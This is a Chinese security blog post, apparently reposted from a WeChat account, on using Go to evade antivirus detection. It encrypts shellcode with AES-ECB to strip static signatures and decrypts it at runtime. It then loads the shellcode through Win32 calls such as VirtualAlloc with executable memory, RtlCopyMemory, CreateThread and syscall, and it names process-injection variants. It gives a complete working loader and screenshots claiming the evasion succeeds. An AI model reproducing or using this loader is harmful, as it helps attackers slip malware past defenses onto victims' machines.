利用go语言进行免杀的学习

admin 2022年7月4日13:33:51安全开发 程序逆向评论54 views6364字阅读21分12秒阅读模式

01.前言

因为最近go语言比较火,学习了go语言后研究了一下利用go语言进行免杀的实现手法,对于静态的免杀主要还是对于一些被标记特征的函数、shellcode原生的十六进制代码进行特征的隐藏和去除,和其他语言的静态免杀思路这里我主要通过加密混淆的方式来实现shellccode的隐藏、同时也用了不同的加载和调用方式测试,最终的目的是希望写成一个go的免杀框架后期可以加入不同的免杀方法实现免杀。

02.免杀流程

根据上面的思路我的实现流程大概如下:

利用go语言进行免杀的学习

2.1.shellcode加密混淆

对传入shellcode进行加密混淆,去除特征值,过静态查杀,这里可以采用各种加密方式,我这里使用的是对称加密AesEcb加密算法

func AesEcbEncrypt(data, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
length := (len(data) + aes.BlockSize) / aes.BlockSize
plain := make([]byte, length*aes.BlockSize) copy(plain, data)
pad := byte(len(plain) - len(data)) for i := len(data); i < len(plain); i++ {
plain[i] = pad
}
encrypted := make([]byte, len(plain)) for bs, be := 0, cipher.BlockSize(); bs <= len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Encrypt(encrypted[bs:be], plain[bs:be])
} return encrypted
}

2.2.解密还原shellcode

我这里对于shellcode的解密根据传入方式不同,可以形成不同的免杀流程,分离免杀,网络读取免杀等等

 /*
加密后的shellcode可以直接使用或保存至文件中,通过本地或网络读取文件传入程序,形成不同的免杀流程
*/


/* 将加密后shellcode保存为字符串导入程序
enCode,_ := []byte("xfcx48x83xe4xf0xe8xc8x00x00x00.....")
*/


/*将加密后的shellcode输出至文件,后读取至程序
_ := ioutil.WriteFile("./tmp/shellCode.bin", enCode, 0666)
enCode, _ := ioutil.ReadFile(*shellCode)
*/


/*将shellCode加密后输出至文件,再进行读取调用,文件通过静态资源嵌入编译
_ := ioutil.WriteFile("./tmp/shellCode.bin", enCode, 0666)

//go:embed shellCode.bin
var enCode []byte
*/
func AesEcbDecrypt(encrypted, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
decrypted := make([]byte, len(encrypted)) //
for bs, be := 0, cipher.BlockSize(); bs < len(encrypted); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Decrypt(decrypted[bs:be], encrypted[bs:be])
}

trim := 0
if len(decrypted) > 0 {
trim = len(decrypted) - int(decrypted[len(decrypted)-1])
} return decrypted[:trim]
}

2.3.shellcode加载器

由于shellcode是一段用于获取shell的二进制代码不能直运行就需要一个加载器进行运行
而编写一个加载器都需要围绕3个基本的功能实现:

a.内存空间申请
b.内容导入
c.执行

2.3.1申请内存空间

申请内存空间存在多个方法,因为golang无法直接对内存做操作,故调用win32API进行内存操作,且存在多个win32API可进行替换,具体函数可于win32文档中查找

https://docs.microsoft.com/zh-cn/search/

利用go语言进行免杀的学习

我这里列举几个比较常用的函数
VirtualAlloc

VirtualAlloc:在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态(分配的内存初始化为零)
SWAPMem, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
//0:开始内存地址
//uintptr(len(shellcode)):申请内存长度
//0x1000|0x2000:属性可读可写可执行
//0x40:仅保留分配信息及使用时对内存进行清零

VirtualAlloc2

VirtualAlloc2(进程注入):在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。该函数将其分配的内存初始化为零
SWAPMem, _, _ := VirtualAlloc2.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)//pHandle:进程的句柄。该函数在该进程的虚拟地址空间内分配内存//0:开始内存地址//uintptr(len(shellcode)):申请内存长度//0x1000|0x2000:属性可读可写可执行//0x40:仅保留分配信息及使用时对内存进行清零

VirtualAllocEx

VirtualAllocEx(进程注入):在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。该函数将其分配的内存初始化为零
SWAPMem, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
//pHandle:进程的句柄。该函数在该进程的虚拟地址空间内分配内存
//0:开始内存地址
//uintptr(len(shellcode)):申请内存长度
//0x1000|0x2000:属性可读可写可执行
//0x40:仅保留分配信息及使用时对内存进行清零

2.3.2将shellcode导入内存

导入内存与申请内存空间方法一致,区别在于win32API的不同相应的特性不同。

RtlCopyMemory

RtlCopyMemory:将源内存块的内容复制到目标内存块(新版)
_, _, _ = RtlCopyMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
//SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
//uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址
//uintptr(len(shellcode)):写入内存长度

RtlCopyBytes

RtlCopyBytes:将源内存块的内容复制到目标内存块(旧版)
_, _, _ = RtlCopyBytes.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))//SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址//uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址//uintptr(len(shellcode)):写入内存长度

RtlMoveMemory

RtlMoveMemory:将源内存块的内容复制到目标内存块(旧版)
_, _, _ = RtlMoveMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
//SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
//uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址
//uintptr(len(shellcode)):写入内存长度

2.3.4 shellcode调用执行

调用shellcode的方法有很多,大部分是利用win32API实现,也可用golang直接调用,还可以使用汇编进行调用。其本质都是想办法将命令寄存器地址指向shellcode的首地址

创建线程的方式执行

hThread, _, _ := CreateThread.Call(0, 0, SWAPMem, 0, 0, 0)
_, _, _ = WaitForSingleObject.Call(hThread, uintptr(0xffff))

golang直接用syscall调用执行

syscall.SyscallN(SWAPMem, 0, 0, 0, 0)

内嵌C代码执行

/*
void run(char* shellcode)
{
((void(*)(void))shellcode)();
}
*/
import "C"C.run((*C.char)(unsafe.Pointer(SWAPMem)))

03.完整代码

根据上述的流程组合形成了如下代码:

package mainimport (    "crypto/aes"
"golang.org/x/sys/windows"
"syscall"
"unsafe")var(
shellcode = []byte("xfcx48x83xe4xf0xe8xc8x00x00x00x41x51...")
key = []byte("key")
)func main() { //对shellcode进行加密混淆
EnCode := AesEcbEncrypt(shellcode,key)
/*
加密后的shellcode可以直接使用或保存至文件中,通过本地或网络读取文件传入程序,形成不同的免杀流程
*/


/* 将加密后shellcode保存为字符串导入程序
enCode,_ := []byte("xfcx48x83xe4xf0xe8xc8x00x00x00.....")
*/


/*将加密后的shellcode输出至文件,后读取至程序
_ := ioutil.WriteFile("./tmp/shellCode.bin", enCode, 0666)
enCode, _ := ioutil.ReadFile(*shellCode)
*/


/*将shellCode加密后输出至文件,再进行读取调用,文件通过静态资源嵌入编译
_ := ioutil.WriteFile("./tmp/shellCode.bin", enCode, 0666)

//go:embed shellCode.bin
var enCode []byte
*/


//对加密后的shellcode进行解密
DeCode := AesEcbDecrypt(EnCode,key) var (
kernel32 = windows.NewLazyDLL("kernel32.dll") //加载kernel32.dll
VirtualAlloc = kernel32.NewProc("VirtualAlloc") //申请虚拟内存
RtlCopyMemory = kernel32.NewProc("RtlCopyMemory") //内存复制
) //申请虚拟内存,内存页可读可写可执行,暂时不在内存上分配实质空间,仅保留分配信息及使用时对内存进行清零
SWAPMem, _, _ := VirtualAlloc.Call(0, uintptr(len(DeCode)), 0x1000|0x2000, 0x40) //复制内存,依据虚拟内存信息,写入实际数据至物理内存
_, _, _ = RtlCopyMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&DeCode[0])), uintptr(len(DeCode))) //golang直接用syscall调用执行
syscall.SyscallN(SWAPMem, 0, 0, 0, 0)
}

//AesEcbEncrypt AesEcb加密算法func AesEcbEncrypt(data, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
length := (len(data) + aes.BlockSize) / aes.BlockSize
plain := make([]byte, length*aes.BlockSize) copy(plain, data)
pad := byte(len(plain) - len(data)) for i := len(data); i < len(plain); i++ {
plain[i] = pad
}
encrypted := make([]byte, len(plain)) for bs, be := 0, cipher.BlockSize(); bs <= len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Encrypt(encrypted[bs:be], plain[bs:be])
} return encrypted
}//AesEcbDecrypt AesEcb解密算法func AesEcbDecrypt(encrypted, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
decrypted := make([]byte, len(encrypted)) //
for bs, be := 0, cipher.BlockSize(); bs < len(encrypted); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Decrypt(decrypted[bs:be], encrypted[bs:be])
}

trim := 0
if len(decrypted) > 0 {
trim = len(decrypted) - int(decrypted[len(decrypted)-1])
} return decrypted[:trim]
}//generateAesKey 生成加密keyfunc generateAesKey(key []byte) []byte {
genKey := make([]byte, 16) copy(genKey, key) for i := 16; i < len(key); { for j := 0; j < 16 && i < len(key); j, i = j+1, i+1 {
genKey[j] ^= key[i]
}
} return genKey
}

04.免杀效果

4.1.直接加密shellCode后解密传递至加载器执行

利用go语言进行免杀的学习

4.2.加密shellCode后输出为变量保存,通过生成流程代码进行再编译,去除加密代码,保留解密代码及加载器代码

利用go语言进行免杀的学习

4.3.将shellCode加密后输出至文件,再进行读取调用

利用go语言进行免杀的学习


原文始发于微信公众号(雁行安全团队):利用go语言进行免杀的学习

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月4日13:33:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  利用go语言进行免杀的学习 http://cn-sec.com/archives/1155825.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: